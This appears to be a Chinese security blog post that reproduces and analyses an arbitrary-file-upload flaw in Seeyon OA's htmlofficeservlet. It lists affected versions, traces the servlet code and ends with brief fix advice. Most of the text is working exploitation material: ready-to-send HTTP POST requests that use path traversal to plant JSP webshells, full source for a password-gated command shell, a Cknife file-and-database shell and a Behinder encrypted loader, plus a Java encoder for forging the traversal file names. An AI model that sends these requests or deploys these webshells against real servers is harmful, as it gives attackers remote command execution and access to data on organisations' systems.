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致远oa(seeyon)文件上传漏洞重现及分析

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0x00 影响范围

经本人测试，如下
v6.1sp2
a6+v7sp3
A8-v5 v6.1sp1
实际范围不止以上版本。

0x01 漏洞重现

验证：

网上流传的exp：

DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce

 

POC：

//根据exp1修改
a6+v7sp3
发送数据包：

POST /seeyon/htmlofficeservlet HTTP/1.1
Host: xxx.com.cn
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=AD5D04D5A82032FCB3C91028ADF9F839; loginPageURL=
Connection: close
Content-Length: 462
 
DBSTEP V3.0     345             0               21             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdbrJuz7T2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
only-test-seeyon-rcexxxxxx

 

EXP0：传Cknife马
v6.1sp2

POST /seeyon/htmlofficeservlet HTTP/1.1
Host: 58.1.1.2:81
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=0d218993-e7c3-4caa-8281-42c886e5f42c; loginPageURL=""
Connection: close
Content-Length: 9540
 
DBSTEP V3.0     348             0               9122             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdeAD5cfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
	String Pwd = "x";
	String cs = "UTF-8";
 
	String EC(String s) throws Exception {
		return new String(s.getBytes("ISO-8859-1"),cs);
	}
 
	Connection GC(String s) throws Exception {
		String[] x = s.trim().split("choraheiheihei");
		Class.forName(x[0].trim());
		if(x[1].indexOf("jdbc:oracle")!=-1){
			return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
		}else{
			Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
			if (x.length > 4) {
				c.setCatalog(x[4]);
			}
			return c;
		}
	}
 
	void AA(StringBuffer sb) throws Exception {
		File k = new File("");
		File r[] = k.listRoots();
		for (int i = 0; i < r.length; i++) {
			sb.append(r[i].toString().substring(0, 2));
		}
	}
 
	void BB(String s, StringBuffer sb) throws Exception {
		File oF = new File(s), l[] = oF.listFiles();
		String sT, sQ, sF = "";
		java.util.Date dt;
		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		for (int i = 0; i < l.length; i++) {
			dt = new java.util.Date(l[i].lastModified());
			sT = fm.format(dt);
			sQ = l[i].canRead() ? "R" : "";
			sQ += l[i].canWrite() ? " W" : "";
			if (l[i].isDirectory()) {
				sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
			} else {
				sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
			}
		}
		sb.append(sF);
	}
 
	void EE(String s) throws Exception {
		File f = new File(s);
		if (f.isDirectory()) {
			File x[] = f.listFiles();
			for (int k = 0; k < x.length; k++) {
				if (!x[k].delete()) {
					EE(x[k].getPath());
				}
			}
		}
		f.delete();
	}
 
	void FF(String s, HttpServletResponse r) throws Exception {
		int n;
		byte[] b = new byte[512];
		r.reset();
		ServletOutputStream os = r.getOutputStream();
		BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
		os.write(("->" + "|").getBytes(), 0, 3);
		while ((n = is.read(b, 0, 512)) != -1) {
			os.write(b, 0, n);
		}
		os.write(("|" + "<-").getBytes(), 0, 3);
		os.close();
		is.close();
	}
 
	void GG(String s, String d) throws Exception {
		String h = "0123456789ABCDEF";
		File f = new File(s);
		f.createNewFile();
		FileOutputStream os = new FileOutputStream(f);
		for (int i = 0; i < d.length(); i += 2) {
			os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
		}
		os.close();
	}
 
	void HH(String s, String d) throws Exception {
		File sf = new File(s), df = new File(d);
		if (sf.isDirectory()) {
			if (!df.exists()) {
				df.mkdir();
			}
			File z[] = sf.listFiles();
			for (int j = 0; j < z.length; j++) {
				HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
			}
		} else {
			FileInputStream is = new FileInputStream(sf);
			FileOutputStream os = new FileOutputStream(df);
			int n;
			byte[] b = new byte[512];
			while ((n = is.read(b, 0, 512)) != -1) {
				os.write(b, 0, n);
			}
			is.close();
			os.close();
		}
	}
 
	void II(String s, String d) throws Exception {
		File sf = new File(s), df = new File(d);
		sf.renameTo(df);
	}
 
	void JJ(String s) throws Exception {
		File f = new File(s);
		f.mkdir();
	}
 
	void KK(String s, String t) throws Exception {
		File f = new File(s);
		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		java.util.Date dt = fm.parse(t);
		f.setLastModified(dt.getTime());
	}
 
	void LL(String s, String d) throws Exception {
		URL u = new URL(s);
		int n = 0;
		FileOutputStream os = new FileOutputStream(d);
		HttpURLConnection h = (HttpURLConnection) u.openConnection();
		InputStream is = h.getInputStream();
		byte[] b = new byte[512];
		while ((n = is.read(b)) != -1) {
			os.write(b, 0, n);
		}
		os.close();
		is.close();
		h.disconnect();
	}
 
	void MM(InputStream is, StringBuffer sb) throws Exception {
		String l;
		BufferedReader br = new BufferedReader(new InputStreamReader(is));
		while ((l = br.readLine()) != null) {
			sb.append(l + "\r\n");
		}
	}
 
	void NN(String s, StringBuffer sb) throws Exception {
		Connection c = GC(s);
		ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();
		while (r.next()) {
			sb.append(r.getString(1) + "\t|\t\r\n");
		}
		r.close();
		c.close();
	}
 
	void OO(String s, StringBuffer sb) throws Exception {
		Connection c = GC(s);
		String[] x = s.trim().split("choraheiheihei");
		ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});
		while (r.next()) {
			sb.append(r.getString("TABLE_NAME") + "\t|\t\r\n");
		}
		r.close();
		c.close();
	}
 
	void PP(String s, StringBuffer sb) throws Exception {
		String[] x = s.trim().split("\r\n");
		Connection c = GC(s);
		Statement m = c.createStatement(1005, 1007);
		ResultSet r = m.executeQuery("select * from " + x[x.length-1]);
		ResultSetMetaData d = r.getMetaData();
		for (int i = 1; i <= d.getColumnCount(); i++) {
			sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
		}
		r.close();
		m.close();
		c.close();
	}
 
	void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {
		Connection c = GC(s);
		Statement m = c.createStatement(1005, 1008);
		BufferedWriter bw = null;
		try {
			ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);
			ResultSetMetaData d = r.getMetaData();
			int n = d.getColumnCount();
			for (int i = 1; i <= n; i++) {
				sb.append(d.getColumnName(i) + "\t|\t");
			}
			sb.append("\r\n");
			if(q.indexOf("--f:")!=-1){
				File file = new File(p);
				if(q.indexOf("-to:")==-1){
					file.mkdir();
				}
				bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));
			}
			while (r.next()) {
				for (int i = 1; i <= n; i++) {
					if(q.indexOf("--f:")!=-1){
						bw.write(r.getObject(i)+""+"\t");
						bw.flush();
					}else{
						sb.append(r.getObject(i)+"" + "\t|\t");
					}
				}
				if(bw!=null){bw.newLine();}
				sb.append("\r\n");
			}
			r.close();
			if(bw!=null){bw.close();}
		} catch (Exception e) {
			sb.append("Result\t|\t\r\n");
			try {
				m.executeUpdate(q);
				sb.append("Execute Successfully!\t|\t\r\n");
			} catch (Exception ee) {
				sb.append(ee.toString() + "\t|\t\r\n");
			}
		}
		m.close();
		c.close();
	}
%>
<%
 
 
//String Z = EC(request.getParameter(Pwd) + "", cs);
 
	cs = request.getParameter("code") != null ? request.getParameter("code")+ "":cs;
	request.setCharacterEncoding(cs);
	response.setContentType("text/html;charset=" + cs);
	StringBuffer sb = new StringBuffer("");
if (request.getParameter(Pwd) != null) {
 
	try {
		String Z = EC(request.getParameter("action") + "");
		String z1 = EC(request.getParameter("z1") + "");
		String z2 = EC(request.getParameter("z2") + "");
		sb.append("->" + "|");
		String s = request.getSession().getServletContext().getRealPath("/");
		if (Z.equals("A")) {
			sb.append(s + "\t");
			if (!s.substring(0, 1).equals("/")) {
				AA(sb);
			}
		} else if (Z.equals("B")) {
			BB(z1, sb);
		} else if (Z.equals("C")) {
			String l = "";
			BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
			while ((l = br.readLine()) != null) {
				sb.append(l + "\r\n");
			}
			br.close();
		} else if (Z.equals("D")) {
			BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
			bw.write(z2);
			bw.close();
			sb.append("1");
		} else if (Z.equals("E")) {
			EE(z1);
			sb.append("1");
		} else if (Z.equals("F")) {
			FF(z1, response);
		} else if (Z.equals("G")) {
			GG(z1, z2);
			sb.append("1");
		} else if (Z.equals("H")) {
			HH(z1, z2);
			sb.append("1");
		} else if (Z.equals("I")) {
			II(z1, z2);
			sb.append("1");
		} else if (Z.equals("J")) {
			JJ(z1);
			sb.append("1");
		} else if (Z.equals("K")) {
			KK(z1, z2);
			sb.append("1");
		} else if (Z.equals("L")) {
			LL(z1, z2);
			sb.append("1");
		} else if (Z.equals("M")) {
			String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
			Process p = Runtime.getRuntime().exec(c);
			MM(p.getInputStream(), sb);
			MM(p.getErrorStream(), sb);
		} else if (Z.equals("N")) {
			NN(z1, sb);
		} else if (Z.equals("O")) {
			OO(z1, sb);
		} else if (Z.equals("P")) {
			PP(z1, sb);
		} else if (Z.equals("Q")) {
			QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
		}
	} catch (Exception e) {
		sb.append("ERROR" + ":// " + e.toString());
	}
	sb.append("|" + "<-");
	out.print(sb.toString());
}
%>xxxxxx

EXP1：写入命令执行马

POST /seeyon/htmlofficeservlet HTTP/1.1
Host: www.xxx.com:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=FB4C369D7EF8B0989FCE7160359DFA76; loginPageURL=
Connection: close
Content-Length: 1097
 
DBSTEP V3.0     343             0               658             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdb4o5nHzs
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("x".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce

 

 

exp2 ：写入behinder马

POST /seeyon/htmlofficeservlet HTTP/1.1
Host: 5.1.2.3:81
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Cookie: JSESSIONID=C; loginPageURL=""
Upgrade-Insecure-Requests: 1
Content-Length: 1026

DBSTEP V3.0     306             0               652             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdwUoXwfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>xxxx

0x02 注意事项

以exp1为例
343为从哪里开始读源码。
658为写入的木马源码大小。
这两个数值要根据具体情况修改(比如改文件名或木马源码内容)，否则会报错/异常。
该漏洞无法覆盖已有文件，所以如果服务器有了test.jsp就无法覆盖这个文件了。
针对linux系统如果没有upload目录可能会出现问题。
有些版本没有saveasimg这个option所以可能会利用失败。

 

0x03 漏洞分析

根据poc的htmlofficeservlet搜索jar包发现htmlofficeservlet在seeyon-apps-common.jar

web.xml中有映射，是一个servlet

com/seeyon/ctp/common/office/HtmlOfficeServlet.class

其中option和filename可控，导致任意文件上传，通过调用iMsgServer2000类的GetMsgByName()获取这两个参数。

因为 String tempPath = tempFolder + “/base/upload/taohongTemp”;

所以fileName为..\..\..\ApacheJetspeed\webapps\seeyon\xxx.jsp构造了三次目录穿越使shell保存在web目录（默认路径）

看看GetMsgByName()

获取“=”和“\r\n”之间的内容（就是加密的参数值）进行DecodeBase64解密。

再看看MsgFileSave()

写入文件：fileOutputStream.write(this.FMsgFile);

路径：msgObj.MsgFileSave(tempPath + “/” + fileName);

 

接着看看三个关键可控参数option、fileName和this.FMsgFile，都是来自iMsgServer2000实例对象，

iMsgServer2000 msgObj = new iMsgServer2000();

……

String fileName = msgObj.GetMsgByName(“FILENAME”);

而iMsgServer2000实例对象由handWriteManager.readVariant()处理用户发送的request生成。

先调用iMsgServer2000.ReadPackage()生成msgObj对象, 再从该对象获取参数值。

可以看出要设置RECORDID，CREATEDATE参数并且要符合其数据类型，否则可能出现类型转换异常导致利用失败。

 

继续跟进ReadPackage()

再跟进StreamToMsg()

经过一系列处理将内容赋值给FMsgFile，接着有md5校验但是形同虚设。

 

0x04 文件名加密解密

该文件名使用变异base64加密。

private String TableBase64 = “gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6”;

private String TableBase60 = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=”;

直接调用这两个方法就可以加解密了。

某大神的脚本java版

import java.io.ByteArrayOutputStream;
import java.io.UnsupportedEncodingException;
 
public class Main {
    String TableBase64 = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6";
 
    public String DecodeBase64(String paramString)
    {
        ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream();
        String str = "";
 
        byte[] arrayOfByte2 = new byte[4];
        try
        {
            int j = 0;
            byte[] arrayOfByte1 = paramString.getBytes();
            while (j < arrayOfByte1.length)
            {
                for (int i = 0; i <= 3; i++)
                {
                    if (j >= arrayOfByte1.length)
                    {
                        arrayOfByte2[i] = 64;
                    }
                    else
                    {
                        int k = this.TableBase64.indexOf(arrayOfByte1[j]);
                        if (k < 0) {
                            k = 65;
                        }
                        arrayOfByte2[i] = ((byte)k);
                    }
                    j++;
                }
                localByteArrayOutputStream.write((byte)(((arrayOfByte2[0] & 0x3F) << 2) + ((arrayOfByte2[1] & 0x30) >> 4)));
                if (arrayOfByte2[2] != 64)
                {
                    localByteArrayOutputStream.write((byte)(((arrayOfByte2[1] & 0xF) << 4) + ((arrayOfByte2[2] & 0x3C) >> 2)));
                    if (arrayOfByte2[3] != 64) {
                        localByteArrayOutputStream.write((byte)(((arrayOfByte2[2] & 0x3) << 6) + (arrayOfByte2[3] & 0x3F)));
                    }
                }
            }
        }
        catch (StringIndexOutOfBoundsException localStringIndexOutOfBoundsException)
        {
            //this.FError += localStringIndexOutOfBoundsException.toString();
            System.out.println(localStringIndexOutOfBoundsException.toString());
        }
        try
        {
            str =
localByteArrayOutputStream.toString("GB2312");
        }
        catch (UnsupportedEncodingException localUnsupportedEncodingException)
        {
            System.out.println(localUnsupportedEncodingException.toString());
        }
        return str;
    }
 
    public String EncodeBase64(String var1)
    {
        ByteArrayOutputStream var2 = new ByteArrayOutputStream();
        byte[] var7 = new byte[4];
 
        try {
            int var4 = 0;
            byte[] var6 = var1.getBytes("GB2312");
 
            while(var4 < var6.length) {
                byte var5 = var6[var4];
                ++var4;
                var7[0] = (byte)((var5 & 252) >> 2);
                var7[1] = (byte)((var5 & 3) << 4);
                if (var4 < var6.length) {
                    var5 = var6[var4];
                    ++var4;
                    var7[1] += (byte)((var5 & 240) >> 4);
                    var7[2] = (byte)((var5 & 15) << 2);
                    if (var4 < var6.length) {
                        var5 = var6[var4];
                        ++var4;
                        var7[2] = (byte)(var7[2] + ((var5 & 192) >> 6));
                        var7[3] = (byte)(var5 & 63);
                    } else {
                        var7[3] = 64;
                    }
                } else {
                    var7[2] = 64;
                    var7[3] = 64;
                }
 
                for(int var3 = 0; var3 <= 3; ++var3) {
                    var2.write(this.TableBase64.charAt(var7[var3]));
                }
            }
        } catch (StringIndexOutOfBoundsException var10) {
           // this.FError = this.FError + var10.toString();
            System.out.println(var10.toString());
        } catch (UnsupportedEncodingException var11) {
            System.out.println(var11.toString());
        }
 
        return var2.toString();
 
    }
    public static void main(String[] args) {
 
        Main m = new Main();
        
        System.out.println(m.DecodeBase64("S3WYOSWLBSGr"));
        
        System.out.println(m.DecodeBase64("qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6"));
        
        System.out.println(m.EncodeBase64("..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\xxxx.jsp"));
    }
}

 

0x05 修复方案

1.打补丁
2.限制访问seeyon/htmlofficeservlet

0x06 结语

该漏洞危害很大，尽快修复吧！

 

0x07 参考资料

https://www.jianshu.com/p/0955bdd7329c

www.yulegeyu.com/2019/07/14/致远oa-任意文件写入漏洞分析/

https://zhuanlan.zhihu.com/p/71247766

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